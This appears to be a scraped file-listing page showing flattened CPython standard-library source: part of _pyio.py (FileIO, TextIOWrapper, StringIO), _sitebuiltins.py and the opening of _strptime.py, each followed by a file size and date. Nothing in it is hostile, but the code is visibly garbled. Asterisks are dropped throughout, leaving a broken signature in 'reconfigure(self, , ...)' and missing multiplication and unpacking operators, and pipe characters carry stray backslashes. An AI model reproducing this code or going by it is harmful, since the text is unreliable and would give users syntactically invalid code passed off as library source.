'O_NOINHERIT', 0) or getattr(os, 'O_CLOEXEC', 0)) flags \|= noinherit_flag owned_fd = None try: if fd < 0: if not closefd: raise ValueError('Cannot use closefd=False with file name') if opener is None: fd = os.open(file, flags, 0o666) else: fd = opener(file, flags) if not isinstance(fd, int): raise TypeError('expected integer from opener') if fd < 0: raise OSError('Negative file descriptor') owned_fd = fd if not noinherit_flag: os.set_inheritable(fd, False) self._closefd = closefd fdfstat = os.fstat(fd) try: if stat.S_ISDIR(fdfstat.st_mode): raise IsADirectoryError(errno.EISDIR, os.strerror(errno.EISDIR), file) except AttributeError: # Ignore the AttribueError if stat.S_ISDIR or errno.EISDIR # don't exist. pass self._blksize = getattr(fdfstat, 'st_blksize', 0) if self._blksize <= 1: self._blksize = DEFAULT_BUFFER_SIZE if _setmode: # don't translate newlines (\r\n <=> \n) _setmode(fd, os.O_BINARY) self.name = file if self._appending: # For consistent behaviour, we explicitly seek to the # end of file (otherwise, it might be done only on the # first write()). try: os.lseek(fd, 0, SEEK_END) except OSError as e: if e.errno != errno.ESPIPE: raise except: if owned_fd is not None: os.close(owned_fd) raise self._fd = fd def __del__(self): if self._fd >= 0 and self._closefd and not self.closed: import warnings warnings.warn('unclosed file %r' % (self,), ResourceWarning, stacklevel=2, source=self) self.close() def __getstate__(self): raise TypeError("cannot serialize '%s' object", self.__class__.__name__) def __repr__(self): class_name = '%s.%s' % (self.__class__.__module__, self.__class__.__qualname__) if self.closed: return '<%s [closed]>' % class_name try: name = self.name except AttributeError: return ('<%s fd=%d mode=%r closefd=%r>' % (class_name, self._fd, self.mode, self._closefd)) else: return ('<%s name=%r mode=%r closefd=%r>' % (class_name, name, self.mode, self._closefd)) def _checkReadable(self): if not self._readable: raise UnsupportedOperation('File not open for reading') def _checkWritable(self, msg=None): if not self._writable: raise UnsupportedOperation('File not open for writing') def read(self, size=None): """Read at most size bytes, returned as bytes. Only makes one system call, so less data may be returned than requested In non-blocking mode, returns None if no data is available. Return an empty bytes object at EOF. """ self._checkClosed() self._checkReadable() if size is None or size < 0: return self.readall() try: return os.read(self._fd, size) except BlockingIOError: return None def readall(self): """Read all data from the file, returned as bytes. In non-blocking mode, returns as much as is immediately available, or None if no data is available. Return an empty bytes object at EOF. """ self._checkClosed() self._checkReadable() bufsize = DEFAULT_BUFFER_SIZE try: pos = os.lseek(self._fd, 0, SEEK_CUR) end = os.fstat(self._fd).st_size if end >= pos: bufsize = end - pos + 1 except OSError: pass result = bytearray() while True: if len(result) >= bufsize: bufsize = len(result) bufsize += max(bufsize, DEFAULT_BUFFER_SIZE) n = bufsize - len(result) try: chunk = os.read(self._fd, n) except BlockingIOError: if result: break return None if not chunk: # reached the end of the file break result += chunk return bytes(result) def readinto(self, b): """Same as RawIOBase.readinto().""" m = memoryview(b).cast('B') data = self.read(len(m)) n = len(data) m[:n] = data return n def write(self, b): """Write bytes b to file, return number written. Only makes one system call, so not all of the data may be written. The number of bytes actually written is returned. In non-blocking mode, returns None if the write would block. """ self._checkClosed() self._checkWritable() try: return os.write(self._fd, b) except BlockingIOError: return None def seek(self, pos, whence=SEEK_SET): """Move to new file position. Argument offset is a byte count. Optional argument whence defaults to SEEK_SET or 0 (offset from start of file, offset should be >= 0); other values are SEEK_CUR or 1 (move relative to current position, positive or negative), and SEEK_END or 2 (move relative to end of file, usually negative, although many platforms allow seeking beyond the end of a file). Note that not all file objects are seekable. """ if isinstance(pos, float): raise TypeError('an integer is required') self._checkClosed() return os.lseek(self._fd, pos, whence) def tell(self): """tell() -> int. Current file position. Can raise OSError for non seekable files.""" self._checkClosed() return os.lseek(self._fd, 0, SEEK_CUR) def truncate(self, size=None): """Truncate the file to at most size bytes. Size defaults to the current file position, as returned by tell(). The current file position is changed to the value of size. """ self._checkClosed() self._checkWritable() if size is None: size = self.tell() os.ftruncate(self._fd, size) return size def close(self): """Close the file. A closed file cannot be used for further I/O operations. close() may be called more than once without error. """ if not self.closed: try: if self._closefd: os.close(self._fd) finally: super().close() def seekable(self): """True if file supports random-access.""" self._checkClosed() if self._seekable is None: try: self.tell() except OSError: self._seekable = False else: self._seekable = True return self._seekable def readable(self): """True if file was opened in a read mode.""" self._checkClosed() return self._readable def writable(self): """True if file was opened in a write mode.""" self._checkClosed() return self._writable def fileno(self): """Return the underlying file descriptor (an integer).""" self._checkClosed() return self._fd def isatty(self): """True if the file is connected to a TTY device.""" self._checkClosed() return os.isatty(self._fd) @property def closefd(self): """True if the file descriptor will be closed by close().""" return self._closefd @property def mode(self): """String giving the file mode""" if self._created: if self._readable: return 'xb+' else: return 'xb' elif self._appending: if self._readable: return 'ab+' else: return 'ab' elif self._readable: if self._writable: return 'rb+' else: return 'rb' else: return 'wb' class TextIOBase(IOBase): """Base class for text I/O. This class provides a character and line based interface to stream I/O. There is no public constructor. """ def read(self, size=-1): """Read at most size characters from stream, where size is an int. Read from underlying buffer until we have size characters or we hit EOF. If size is negative or omitted, read until EOF. Returns a string. """ self._unsupported("read") def write(self, s): """Write string s to stream and returning an int.""" self._unsupported("write") def truncate(self, pos=None): """Truncate size to pos, where pos is an int.""" self._unsupported("truncate") def readline(self): """Read until newline or EOF. Returns an empty string if EOF is hit immediately. """ self._unsupported("readline") def detach(self): """ Separate the underlying buffer from the TextIOBase and return it. After the underlying buffer has been detached, the TextIO is in an unusable state. """ self._unsupported("detach") @property def encoding(self): """Subclasses should override.""" return None @property def newlines(self): """Line endings translated so far. Only line endings translated during reading are considered. Subclasses should override. """ return None @property def errors(self): """Error setting of the decoder or encoder. Subclasses should override.""" return None io.TextIOBase.register(TextIOBase) class IncrementalNewlineDecoder(codecs.IncrementalDecoder): r"""Codec used when reading a file in universal newlines mode. It wraps another incremental decoder, translating \r\n and \r into \n. It also records the types of newlines encountered. When used with translate=False, it ensures that the newline sequence is returned in one piece. """ def __init__(self, decoder, translate, errors='strict'): codecs.IncrementalDecoder.__init__(self, errors=errors) self.translate = translate self.decoder = decoder self.seennl = 0 self.pendingcr = False def decode(self, input, final=False): # decode input (with the eventual \r from a previous pass) if self.decoder is None: output = input else: output = self.decoder.decode(input, final=final) if self.pendingcr and (output or final): output = "\r" + output self.pendingcr = False # retain last \r even when not translating data: # then readline() is sure to get \r\n in one pass if output.endswith("\r") and not final: output = output[:-1] self.pendingcr = True # Record which newlines are read crlf = output.count('\r\n') cr = output.count('\r') - crlf lf = output.count('\n') - crlf self.seennl \|= (lf and self._LF) \| (cr and self._CR) \ \| (crlf and self._CRLF) if self.translate: if crlf: output = output.replace("\r\n", "\n") if cr: output = output.replace("\r", "\n") return output def getstate(self): if self.decoder is None: buf = b"" flag = 0 else: buf, flag = self.decoder.getstate() flag <<= 1 if self.pendingcr: flag \|= 1 return buf, flag def setstate(self, state): buf, flag = state self.pendingcr = bool(flag & 1) if self.decoder is not None: self.decoder.setstate((buf, flag >> 1)) def reset(self): self.seennl = 0 self.pendingcr = False if self.decoder is not None: self.decoder.reset() _LF = 1 _CR = 2 _CRLF = 4 @property def newlines(self): return (None, "\n", "\r", ("\r", "\n"), "\r\n", ("\n", "\r\n"), ("\r", "\r\n"), ("\r", "\n", "\r\n") )[self.seennl] class TextIOWrapper(TextIOBase): r"""Character and line based layer over a BufferedIOBase object, buffer. encoding gives the name of the encoding that the stream will be decoded or encoded with. It defaults to locale.getpreferredencoding(False). errors determines the strictness of encoding and decoding (see the codecs.register) and defaults to "strict". newline can be None, '', '\n', '\r', or '\r\n'. It controls the handling of line endings. If it is None, universal newlines is enabled. With this enabled, on input, the lines endings '\n', '\r', or '\r\n' are translated to '\n' before being returned to the caller. Conversely, on output, '\n' is translated to the system default line separator, os.linesep. If newline is any other of its legal values, that newline becomes the newline when the file is read and it is returned untranslated. On output, '\n' is converted to the newline. If line_buffering is True, a call to flush is implied when a call to write contains a newline character. """ _CHUNK_SIZE = 2048 # Initialize _buffer as soon as possible since it's used by __del__() # which calls close() _buffer = None # The write_through argument has no effect here since this # implementation always writes through. The argument is present only # so that the signature can match the signature of the C version. def __init__(self, buffer, encoding=None, errors=None, newline=None, line_buffering=False, write_through=False): self._check_newline(newline) if encoding is None: try: encoding = os.device_encoding(buffer.fileno()) except (AttributeError, UnsupportedOperation): pass if encoding is None: try: import locale except ImportError: # Importing locale may fail if Python is being built encoding = "ascii" else: encoding = locale.getpreferredencoding(False) if not isinstance(encoding, str): raise ValueError("invalid encoding: %r" % encoding) if not codecs.lookup(encoding)._is_text_encoding: msg = ("%r is not a text encoding; " "use codecs.open() to handle arbitrary codecs") raise LookupError(msg % encoding) if errors is None: errors = "strict" else: if not isinstance(errors, str): raise ValueError("invalid errors: %r" % errors) self._buffer = buffer self._decoded_chars = '' # buffer for text returned from decoder self._decoded_chars_used = 0 # offset into _decoded_chars for read() self._snapshot = None # info for reconstructing decoder state self._seekable = self._telling = self.buffer.seekable() self._has_read1 = hasattr(self.buffer, 'read1') self._configure(encoding, errors, newline, line_buffering, write_through) def _check_newline(self, newline): if newline is not None and not isinstance(newline, str): raise TypeError("illegal newline type: %r" % (type(newline),)) if newline not in (None, "", "\n", "\r", "\r\n"): raise ValueError("illegal newline value: %r" % (newline,)) def _configure(self, encoding=None, errors=None, newline=None, line_buffering=False, write_through=False): self._encoding = encoding self._errors = errors self._encoder = None self._decoder = None self._b2cratio = 0.0 self._readuniversal = not newline self._readtranslate = newline is None self._readnl = newline self._writetranslate = newline != '' self._writenl = newline or os.linesep self._line_buffering = line_buffering self._write_through = write_through # don't write a BOM in the middle of a file if self._seekable and self.writable(): position = self.buffer.tell() if position != 0: try: self._get_encoder().setstate(0) except LookupError: # Sometimes the encoder doesn't exist pass # self._snapshot is either None, or a tuple (dec_flags, next_input) # where dec_flags is the second (integer) item of the decoder state # and next_input is the chunk of input bytes that comes next after the # snapshot point. We use this to reconstruct decoder states in tell(). # Naming convention: # - "bytes_..." for integer variables that count input bytes # - "chars_..." for integer variables that count decoded characters def __repr__(self): result = "<{}.{}".format(self.__class__.__module__, self.__class__.__qualname__) try: name = self.name except Exception: pass else: result += " name={0!r}".format(name) try: mode = self.mode except Exception: pass else: result += " mode={0!r}".format(mode) return result + " encoding={0!r}>".format(self.encoding) @property def encoding(self): return self._encoding @property def errors(self): return self._errors @property def line_buffering(self): return self._line_buffering @property def write_through(self): return self._write_through @property def buffer(self): return self._buffer def reconfigure(self, , encoding=None, errors=None, newline=Ellipsis, line_buffering=None, write_through=None): """Reconfigure the text stream with new parameters. This also flushes the stream. """ if (self._decoder is not None and (encoding is not None or errors is not None or newline is not Ellipsis)): raise UnsupportedOperation( "It is not possible to set the encoding or newline of stream " "after the first read") if errors is None: if encoding is None: errors = self._errors else: errors = 'strict' elif not isinstance(errors, str): raise TypeError("invalid errors: %r" % errors) if encoding is None: encoding = self._encoding else: if not isinstance(encoding, str): raise TypeError("invalid encoding: %r" % encoding) if newline is Ellipsis: newline = self._readnl self._check_newline(newline) if line_buffering is None: line_buffering = self.line_buffering if write_through is None: write_through = self.write_through self.flush() self._configure(encoding, errors, newline, line_buffering, write_through) def seekable(self): if self.closed: raise ValueError("I/O operation on closed file.") return self._seekable def readable(self): return self.buffer.readable() def writable(self): return self.buffer.writable() def flush(self): self.buffer.flush() self._telling = self._seekable def close(self): if self.buffer is not None and not self.closed: try: self.flush() finally: self.buffer.close() @property def closed(self): return self.buffer.closed @property def name(self): return self.buffer.name def fileno(self): return self.buffer.fileno() def isatty(self): return self.buffer.isatty() def write(self, s): 'Write data, where s is a str' if self.closed: raise ValueError("write to closed file") if not isinstance(s, str): raise TypeError("can't write %s to text stream" % s.__class__.__name__) length = len(s) haslf = (self._writetranslate or self._line_buffering) and "\n" in s if haslf and self._writetranslate and self._writenl != "\n": s = s.replace("\n", self._writenl) encoder = self._encoder or self._get_encoder() # XXX What if we were just reading? b = encoder.encode(s) self.buffer.write(b) if self._line_buffering and (haslf or "\r" in s): self.flush() self._set_decoded_chars('') self._snapshot = None if self._decoder: self._decoder.reset() return length def _get_encoder(self): make_encoder = codecs.getincrementalencoder(self._encoding) self._encoder = make_encoder(self._errors) return self._encoder def _get_decoder(self): make_decoder = codecs.getincrementaldecoder(self._encoding) decoder = make_decoder(self._errors) if self._readuniversal: decoder = IncrementalNewlineDecoder(decoder, self._readtranslate) self._decoder = decoder return decoder # The following three methods implement an ADT for _decoded_chars. # Text returned from the decoder is buffered here until the client # requests it by calling our read() or readline() method. def _set_decoded_chars(self, chars): """Set the _decoded_chars buffer.""" self._decoded_chars = chars self._decoded_chars_used = 0 def _get_decoded_chars(self, n=None): """Advance into the _decoded_chars buffer.""" offset = self._decoded_chars_used if n is None: chars = self._decoded_chars[offset:] else: chars = self._decoded_chars[offset:offset + n] self._decoded_chars_used += len(chars) return chars def _rewind_decoded_chars(self, n): """Rewind the _decoded_chars buffer.""" if self._decoded_chars_used < n: raise AssertionError("rewind decoded_chars out of bounds") self._decoded_chars_used -= n def _read_chunk(self): """ Read and decode the next chunk of data from the BufferedReader. """ # The return value is True unless EOF was reached. The decoded # string is placed in self._decoded_chars (replacing its previous # value). The entire input chunk is sent to the decoder, though # some of it may remain buffered in the decoder, yet to be # converted. if self._decoder is None: raise ValueError("no decoder") if self._telling: # To prepare for tell(), we need to snapshot a point in the # file where the decoder's input buffer is empty. dec_buffer, dec_flags = self._decoder.getstate() # Given this, we know there was a valid snapshot point # len(dec_buffer) bytes ago with decoder state (b'', dec_flags). # Read a chunk, decode it, and put the result in self._decoded_chars. if self._has_read1: input_chunk = self.buffer.read1(self._CHUNK_SIZE) else: input_chunk = self.buffer.read(self._CHUNK_SIZE) eof = not input_chunk decoded_chars = self._decoder.decode(input_chunk, eof) self._set_decoded_chars(decoded_chars) if decoded_chars: self._b2cratio = len(input_chunk) / len(self._decoded_chars) else: self._b2cratio = 0.0 if self._telling: # At the snapshot point, len(dec_buffer) bytes before the read, # the next input to be decoded is dec_buffer + input_chunk. self._snapshot = (dec_flags, dec_buffer + input_chunk) return not eof def _pack_cookie(self, position, dec_flags=0, bytes_to_feed=0, need_eof=0, chars_to_skip=0): # The meaning of a tell() cookie is: seek to position, set the # decoder flags to dec_flags, read bytes_to_feed bytes, feed them # into the decoder with need_eof as the EOF flag, then skip # chars_to_skip characters of the decoded result. For most simple # decoders, tell() will often just give a byte offset in the file. return (position \| (dec_flags<<64) \| (bytes_to_feed<<128) \| (chars_to_skip<<192) \| bool(need_eof)<<256) def _unpack_cookie(self, bigint): rest, position = divmod(bigint, 1<<64) rest, dec_flags = divmod(rest, 1<<64) rest, bytes_to_feed = divmod(rest, 1<<64) need_eof, chars_to_skip = divmod(rest, 1<<64) return position, dec_flags, bytes_to_feed, need_eof, chars_to_skip def tell(self): if not self._seekable: raise UnsupportedOperation("underlying stream is not seekable") if not self._telling: raise OSError("telling position disabled by next() call") self.flush() position = self.buffer.tell() decoder = self._decoder if decoder is None or self._snapshot is None: if self._decoded_chars: # This should never happen. raise AssertionError("pending decoded text") return position # Skip backward to the snapshot point (see _read_chunk). dec_flags, next_input = self._snapshot position -= len(next_input) # How many decoded characters have been used up since the snapshot? chars_to_skip = self._decoded_chars_used if chars_to_skip == 0: # We haven't moved from the snapshot point. return self._pack_cookie(position, dec_flags) # Starting from the snapshot position, we will walk the decoder # forward until it gives us enough decoded characters. saved_state = decoder.getstate() try: # Fast search for an acceptable start point, close to our # current pos. # Rationale: calling decoder.decode() has a large overhead # regardless of chunk size; we want the number of such calls to # be O(1) in most situations (common decoders, non-crazy input). # Actually, it will be exactly 1 for fixed-size codecs (all # 8-bit codecs, also UTF-16 and UTF-32). skip_bytes = int(self._b2cratio chars_to_skip) skip_back = 1 assert skip_bytes <= len(next_input) while skip_bytes > 0: decoder.setstate((b'', dec_flags)) # Decode up to temptative start point n = len(decoder.decode(next_input[:skip_bytes])) if n <= chars_to_skip: b, d = decoder.getstate() if not b: # Before pos and no bytes buffered in decoder => OK dec_flags = d chars_to_skip -= n break # Skip back by buffered amount and reset heuristic skip_bytes -= len(b) skip_back = 1 else: # We're too far ahead, skip back a bit skip_bytes -= skip_back skip_back = skip_back * 2 else: skip_bytes = 0 decoder.setstate((b'', dec_flags)) # Note our initial start point. start_pos = position + skip_bytes start_flags = dec_flags if chars_to_skip == 0: # We haven't moved from the start point. return self._pack_cookie(start_pos, start_flags) # Feed the decoder one byte at a time. As we go, note the # nearest "safe start point" before the current location # (a point where the decoder has nothing buffered, so seek() # can safely start from there and advance to this location). bytes_fed = 0 need_eof = 0 # Chars decoded since `start_pos` chars_decoded = 0 for i in range(skip_bytes, len(next_input)): bytes_fed += 1 chars_decoded += len(decoder.decode(next_input[i:i+1])) dec_buffer, dec_flags = decoder.getstate() if not dec_buffer and chars_decoded <= chars_to_skip: # Decoder buffer is empty, so this is a safe start point. start_pos += bytes_fed chars_to_skip -= chars_decoded start_flags, bytes_fed, chars_decoded = dec_flags, 0, 0 if chars_decoded >= chars_to_skip: break else: # We didn't get enough decoded data; signal EOF to get more. chars_decoded += len(decoder.decode(b'', final=True)) need_eof = 1 if chars_decoded < chars_to_skip: raise OSError("can't reconstruct logical file position") # The returned cookie corresponds to the last safe start point. return self._pack_cookie( start_pos, start_flags, bytes_fed, need_eof, chars_to_skip) finally: decoder.setstate(saved_state) def truncate(self, pos=None): self.flush() if pos is None: pos = self.tell() return self.buffer.truncate(pos) def detach(self): if self.buffer is None: raise ValueError("buffer is already detached") self.flush() buffer = self._buffer self._buffer = None return buffer def seek(self, cookie, whence=0): def _reset_encoder(position): """Reset the encoder (merely useful for proper BOM handling)""" try: encoder = self._encoder or self._get_encoder() except LookupError: # Sometimes the encoder doesn't exist pass else: if position != 0: encoder.setstate(0) else: encoder.reset() if self.closed: raise ValueError("tell on closed file") if not self._seekable: raise UnsupportedOperation("underlying stream is not seekable") if whence == 1: # seek relative to current position if cookie != 0: raise UnsupportedOperation("can't do nonzero cur-relative seeks") # Seeking to the current position should attempt to # sync the underlying buffer with the current position. whence = 0 cookie = self.tell() if whence == 2: # seek relative to end of file if cookie != 0: raise UnsupportedOperation("can't do nonzero end-relative seeks") self.flush() position = self.buffer.seek(0, 2) self._set_decoded_chars('') self._snapshot = None if self._decoder: self._decoder.reset() _reset_encoder(position) return position if whence != 0: raise ValueError("unsupported whence (%r)" % (whence,)) if cookie < 0: raise ValueError("negative seek position %r" % (cookie,)) self.flush() # The strategy of seek() is to go back to the safe start point # and replay the effect of read(chars_to_skip) from there. start_pos, dec_flags, bytes_to_feed, need_eof, chars_to_skip = \ self._unpack_cookie(cookie) # Seek back to the safe start point. self.buffer.seek(start_pos) self._set_decoded_chars('') self._snapshot = None # Restore the decoder to its state from the safe start point. if cookie == 0 and self._decoder: self._decoder.reset() elif self._decoder or dec_flags or chars_to_skip: self._decoder = self._decoder or self._get_decoder() self._decoder.setstate((b'', dec_flags)) self._snapshot = (dec_flags, b'') if chars_to_skip: # Just like _read_chunk, feed the decoder and save a snapshot. input_chunk = self.buffer.read(bytes_to_feed) self._set_decoded_chars( self._decoder.decode(input_chunk, need_eof)) self._snapshot = (dec_flags, input_chunk) # Skip chars_to_skip of the decoded characters. if len(self._decoded_chars) < chars_to_skip: raise OSError("can't restore logical file position") self._decoded_chars_used = chars_to_skip _reset_encoder(cookie) return cookie def read(self, size=None): self._checkReadable() if size is None: size = -1 else: try: size_index = size.__index__ except AttributeError: raise TypeError(f"{size!r} is not an integer") else: size = size_index() decoder = self._decoder or self._get_decoder() if size < 0: # Read everything. result = (self._get_decoded_chars() + decoder.decode(self.buffer.read(), final=True)) self._set_decoded_chars('') self._snapshot = None return result else: # Keep reading chunks until we have size characters to return. eof = False result = self._get_decoded_chars(size) while len(result) < size and not eof: eof = not self._read_chunk() result += self._get_decoded_chars(size - len(result)) return result def __next__(self): self._telling = False line = self.readline() if not line: self._snapshot = None self._telling = self._seekable raise StopIteration return line def readline(self, size=None): if self.closed: raise ValueError("read from closed file") if size is None: size = -1 else: try: size_index = size.__index__ except AttributeError: raise TypeError(f"{size!r} is not an integer") else: size = size_index() # Grab all the decoded text (we will rewind any extra bits later). line = self._get_decoded_chars() start = 0 # Make the decoder if it doesn't already exist. if not self._decoder: self._get_decoder() pos = endpos = None while True: if self._readtranslate: # Newlines are already translated, only search for \n pos = line.find('\n', start) if pos >= 0: endpos = pos + 1 break else: start = len(line) elif self._readuniversal: # Universal newline search. Find any of \r, \r\n, \n # The decoder ensures that \r\n are not split in two pieces # In C we'd look for these in parallel of course. nlpos = line.find("\n", start) crpos = line.find("\r", start) if crpos == -1: if nlpos == -1: # Nothing found start = len(line) else: # Found \n endpos = nlpos + 1 break elif nlpos == -1: # Found lone \r endpos = crpos + 1 break elif nlpos < crpos: # Found \n endpos = nlpos + 1 break elif nlpos == crpos + 1: # Found \r\n endpos = crpos + 2 break else: # Found \r endpos = crpos + 1 break else: # non-universal pos = line.find(self._readnl) if pos >= 0: endpos = pos + len(self._readnl) break if size >= 0 and len(line) >= size: endpos = size # reached length size break # No line ending seen yet - get more data' while self._read_chunk(): if self._decoded_chars: break if self._decoded_chars: line += self._get_decoded_chars() else: # end of file self._set_decoded_chars('') self._snapshot = None return line if size >= 0 and endpos > size: endpos = size # don't exceed size # Rewind _decoded_chars to just after the line ending we found. self._rewind_decoded_chars(len(line) - endpos) return line[:endpos] @property def newlines(self): return self._decoder.newlines if self._decoder else None class StringIO(TextIOWrapper): """Text I/O implementation using an in-memory buffer. The initial_value argument sets the value of object. The newline argument is like the one of TextIOWrapper's constructor. """ def __init__(self, initial_value="", newline="\n"): super(StringIO, self).__init__(BytesIO(), encoding="utf-8", errors="surrogatepass", newline=newline) # Issue #5645: make universal newlines semantics the same as in the # C version, even under Windows. if newline is None: self._writetranslate = False if initial_value is not None: if not isinstance(initial_value, str): raise TypeError("initial_value must be str or None, not {0}" .format(type(initial_value).__name__)) self.write(initial_value) self.seek(0) def getvalue(self): self.flush() decoder = self._decoder or self._get_decoder() old_state = decoder.getstate() decoder.reset() try: return decoder.decode(self.buffer.getvalue(), final=True) finally: decoder.setstate(old_state) def __repr__(self): # TextIOWrapper tells the encoding in its repr. In StringIO, # that's an implementation detail. return object.__repr__(self) @property def errors(self): return None @property def encoding(self): return None def detach(self): # This doesn't make sense on StringIO. self._unsupported("detach")	89.47 KB	2024-04-17 17:55
📄 _sitebuiltins.py """ The objects used by the site module to add custom builtins. """ # Those objects are almost immortal and they keep a reference to their module # globals. Defining them in the site module would keep too many references # alive. # Note this means this module should also avoid keep things alive in its # globals. import sys class Quitter(object): def __init__(self, name, eof): self.name = name self.eof = eof def __repr__(self): return 'Use %s() or %s to exit' % (self.name, self.eof) def __call__(self, code=None): # Shells like IDLE catch the SystemExit, but listen when their # stdin wrapper is closed. try: sys.stdin.close() except: pass raise SystemExit(code) class _Printer(object): """interactive prompt objects for printing the license text, a list of contributors and the copyright notice.""" MAXLINES = 23 def __init__(self, name, data, files=(), dirs=()): import os self.__name = name self.__data = data self.__lines = None self.__filenames = [os.path.join(dir, filename) for dir in dirs for filename in files] def __setup(self): if self.__lines: return data = None for filename in self.__filenames: try: with open(filename, "r") as fp: data = fp.read() break except OSError: pass if not data: data = self.__data self.__lines = data.split('\n') self.__linecnt = len(self.__lines) def __repr__(self): self.__setup() if len(self.__lines) <= self.MAXLINES: return "\n".join(self.__lines) else: return "Type %s() to see the full %s text" % ((self.__name,)2) def __call__(self): self.__setup() prompt = 'Hit Return for more, or q (and Return) to quit: ' lineno = 0 while 1: try: for i in range(lineno, lineno + self.MAXLINES): print(self.__lines[i]) except IndexError: break else: lineno += self.MAXLINES key = None while key is None: key = input(prompt) if key not in ('', 'q'): key = None if key == 'q': break class _Helper(object): """Define the builtin 'help'. This is a wrapper around pydoc.help that provides a helpful message when 'help' is typed at the Python interactive prompt. Calling help() at the Python prompt starts an interactive help session. Calling help(thing) prints help for the python object 'thing'. """ def __repr__(self): return "Type help() for interactive help, " \ "or help(object) for help about object." def __call__(self, args, *kwds): import pydoc return pydoc.help(args, **kwds)	3.04 KB	2024-04-17 17:55
📄 _strptime.py """Strptime-related classes and functions. CLASSES: LocaleTime -- Discovers and stores locale-specific time information TimeRE -- Creates regexes for pattern matching a string of text containing time information FUNCTIONS: _getlang -- Figure out what language is being used for the locale strptime -- Calculates the time struct represented by the passed-in string """ import time import locale import calendar from re import compile as re_compile from re import IGNORECASE from re import escape as re_escape from datetime import (date as datetime_date, timedelta as datetime_timedelta, timezone as datetime_timezone) from _thread import allocate_lock as _thread_allocate_lock __all__ = [] def _getlang(): # Figure out what the current language is set to. return locale.getlocale(locale.LC_TIME) class LocaleTime(object): """Stores and handles locale-specific information related to time. ATTRIBUTES: f_weekday -- full weekday names (7-item list) a_weekday -- abbreviated weekday names (7-item list) f_month -- full month names (13-item list; dummy value in [0], which is added by code) a_month -- abbreviated month names (13-item list, dummy value in [0], which is added by code) am_pm -- AM/PM representation (2-item list) LC_date_time -- format string for date/time representation (string) LC_date -- format string for date representation (string) LC_time -- format string for time representation (string) timezone -- daylight- and non-daylight-savings timezone representation (2-item list of sets) lang -- Language used by instance (2-item tuple) """ def __init__(self): """Set all attributes. Order of methods called matters for dependency reasons. The locale language is set at the offset and then checked again before exiting. This is to make sure that the attributes were not set with a mix of information from more than one locale. This would most likely happen when using threads where one thread calls a locale-dependent function while another thread changes the locale while the function in the other thread is still running. Proper coding would call for locks to prevent changing the locale while locale-dependent code is running. The check here is done in case someone does not think about doing this. Only other possible issue is if someone changed the timezone and did not call tz.tzset . That is an issue for the programmer, though, since changing the timezone is worthless without that call. """ self.lang = _getlang() self.__calc_weekday() self.__calc_month() self.__calc_am_pm() self.__calc_timezone() self.__calc_date_time() if _getlang() != self.lang: raise ValueError("locale changed during initialization") if time.tzname != self.tzname or time.daylight != self.daylight: raise ValueError("timezone changed during initialization") def __pad(self, seq, front): # Add '' to seq to either the front (is True), else the back. seq = list(seq) if front: seq.insert(0, '') else: seq.append('') return seq def __calc_weekday(self): # Set self.a_weekday and self.f_weekday using the calendar # module. a_weekday = [calendar.day_abbr[i].lower() for i in range(7)] f_weekday = [calendar.day_name[i].lower() for i in range(7)] self.a_weekday = a_weekday self.f_weekday = f_weekday def __calc_month(self): # Set self.f_month and self.a_month using the calendar module. a_month = [calendar.month_abbr[i].lower() for i in range(13)] f_month = [calendar.month_name[i].lower() for i in range(13)] self.a_month = a_month self.f_month = f_month def __calc_am_pm(self): # Set self.am_pm by using time.strftime(). # The magic date (1999,3,17,hour,44,55,2,76,0) is not really that # magical; just happened to have used it everywhere else where a # static date was needed. am_pm = [] for hour in (1, 22): time_tuple = time.struct_time((1999,3,17,hour,44,55,2,76,0)) am_pm.append(time.strftime("%p", time_tuple).lower()) self.am_pm = am_pm def __calc_date_time(self): # Set self.date_time, self.date, & self.time by using # time.strftime(). # Use (1999,3,17,22,44,55,2,76,0) for magic date because the amount of # overloaded numbers is minimized. The order in which searches for # values within the format string is very important; it eliminates # possible ambiguity for what something represents. time_tuple = time.struct_time((1999,3,17,22,44,55,2,76,0)) date_time = [None, None, None] date_time[0] = time.strftime("%c", time_tuple).lower() date_time[1] = time.strftime("%x", time_tuple).lower() date_time[2] = time.strftime("%X", time_tuple).lower() replacement_pairs = [('%', '%%'), (self.f_weekday[2], '%A'), (self.f_month[3], '%B'), (self.a_weekday[2], '%a'), (self.a_month[3], '%b'), (self.am_pm[1], '%p'), ('1999', '%Y'), ('99', '%y'), ('22', '%H'), ('44', '%M'), ('55', '%S'), ('76', '%j'), ('17', '%d'), ('03', '%m'), ('3', '%m'), # '3' needed for when no leading zero. ('2', '%w'), ('10', '%I')] replacement_pairs.extend([(tz, "%Z") for tz_values in self.timezone for tz in tz_values]) for offset,directive in ((0,'%c'), (1,'%x'), (2,'%X')): current_format = date_time[offset] for old, new in replacement_pairs: # Must deal with possible lack of locale info # manifesting itself as the empty string (e.g., Swedish's # lack of AM/PM info) or a platform returning a tuple of empty # strings (e.g., MacOS 9 having timezone as ('','')). if old: current_format = current_format.replace(old, new) # If %W is used, then Sunday, 2005-01-03 will fall on week 0 since # 2005-01-03 occurs before the first Monday of the year. Otherwise # %U is used. time_tuple = time.struct_time((1999,1,3,1,1,1,6,3,0)) if '00' in time.strftime(directive, time_tuple): U_W = '%W' else: U_W = '%U' date_time[offset] = current_format.replace('11', U_W) self.LC_date_time = date_time[0] self.LC_date = date_time[1] self.LC_time = date_time[2] def __calc_timezone(self): # Set self.timezone by using time.tzname. # Do not worry about possibility of time.tzname[0] == time.tzname[1] # and time.daylight; handle that in strptime. try: time.tzset() except AttributeError: pass self.tzname = time.tzname self.daylight = time.daylight no_saving = frozenset({"utc", "gmt", self.tzname[0].lower()}) if self.daylight: has_saving = frozenset({self.tzname[1].lower()}) else: has_saving = frozenset() self.timezone = (no_saving, has_saving) class TimeRE(dict): """Handle conversion from format directives to regexes.""" def __init__(self, locale_time=None): """Create keys/values. Order of execution is important for dependency reasons. """ if locale_time: self.locale_time = locale_time else: self.locale_time = LocaleTime() base = super() base.__init__({ # The " \d" part of the regex is to make %c from ANSI C work 'd': r"(?P<d>3[0-1]\|[1-2]\d\|0[1-9]\|[1-9]\| [1-9])", 'f': r"(?P<f>[0-9]{1,6})", 'H': r"(?P<H>2[0-3]\|[0-1]\d\|\d)", 'I': r"(?P<I>1[0-2]\|0[1-9]\|[1-9])", 'G': r"(?P<G>\d\d\d\d)", 'j': r"(?P<j>36[0-6]\|3[0-5]\d\|[1-2]\d\d\|0[1-9]\d\|00[1-9]\|[1-9]\d\|0[1-9]\|[1-9])", 'm': r"(?P<m>1[0-2]\|0[1-9]\|[1-9])", 'M': r"(?P<M>[0-5]\d\|\d)", 'S': r"(?P<S>6[0-1]\|[0-5]\d\|\d)", 'U': r"(?P<U>5[0-3]\|[0-4]\d\|\d)", 'w': 